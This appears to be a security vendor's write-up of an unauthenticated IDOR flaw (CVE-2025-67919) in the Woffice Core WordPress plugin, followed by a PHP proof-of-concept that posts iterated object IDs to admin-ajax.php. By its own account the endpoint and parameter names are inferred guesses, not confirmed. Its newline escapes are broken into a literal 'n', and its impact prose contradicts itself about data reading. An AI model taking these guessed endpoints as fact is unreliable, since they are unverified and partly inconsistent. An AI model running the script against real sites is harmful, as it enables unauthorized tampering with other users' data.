Atomic Edge analysis of CVE-2025-67919 (metadata-based):
This vulnerability is an unauthenticated Insecure Direct Object Reference (IDOR) in the Woffice Core WordPress plugin. The flaw exists in all versions up to and including 5.4.30. Attackers can exploit this to bypass authorization checks by manipulating a user-controlled key. The CVSS score of 5.3 (Medium) reflects its network-based attack vector, low attack complexity, and impact on data integrity.
Atomic Edge research indicates the root cause is an authorization bypass through a user-controlled key (CWE-639). The plugin likely fails to validate whether the current user has permission to access a specific object identifier supplied in a request. This inference is drawn from the CWE classification and the vulnerability description. Without a code diff, we cannot confirm the exact function or endpoint. The missing validation allows an unauthenticated user to reference objects they should not access.
Exploitation likely targets a WordPress AJAX endpoint or REST API route. Attackers send HTTP requests to `/wp-admin/admin-ajax.php` or a REST endpoint with a manipulated object ID parameter. The payload would substitute a legitimate identifier with one belonging to another user or protected resource. For example, an attacker could send `action=woffice_core_action&object_id=123` where `123` is a valid but unauthorized object reference. The plugin processes this request without checking the user’s authorization for object 123.
Remediation requires implementing proper authorization checks before processing any user-supplied object identifier. The patch in version 5.4.31 likely adds a capability check or ownership verification. The fix should validate that the current user (or unauthenticated visitor) has explicit permission to access, modify, or delete the referenced object. This typically involves querying the database to confirm the user’s role or ownership matches the object’s access controls.
Successful exploitation allows unauthenticated attackers to read, modify, or delete data they should not access. The CVSS vector indicates a confidentiality impact of None (C:N) and an integrity impact of Low (I:L). This suggests the vulnerability primarily enables unauthorized data modification, not information disclosure. Attackers could alter limited application data, potentially affecting other users’ experience or data consistency.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67919 - Woffice Core <= 5.4.30 - Unauthenticated Insecure Direct Object Reference
<?php
/**
* Proof of Concept for CVE-2025-67919
* WARNING: For authorized security testing only.
* This script demonstrates an unauthenticated IDOR vulnerability.
* The exact endpoint and parameter names are inferred from WordPress patterns.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Inferred parameters based on plugin slug and vulnerability type
// The 'action' parameter typically maps to a WordPress AJAX hook
$post_data = array(
'action' => 'woffice_core_action', // Inferred AJAX action name
'object_id' => '1', // User-controlled key - attacker would iterate through values
'nonce' => '' // May be optional due to missing authorization
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// Set headers to mimic a regular WordPress AJAX request
$headers = array(
'User-Agent: Atomic Edge PoC/1.0',
'Accept: application/json, text/javascript, */*; q=0.01',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With: XMLHttpRequest'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Analysis of response
if ($http_code == 200 && !empty($response)) {
echo "Potential IDOR vulnerability detected.n";
echo "The server processed an unauthenticated request with object_id=1.n";
echo "An attacker would iterate through object_id values to access unauthorized data.n";
} else {
echo "The endpoint may require different parameters or the vulnerability is patched.n";
echo "Try different action names: woffice_action, woffice_core_update, woffice_get_data.n";
}
?>
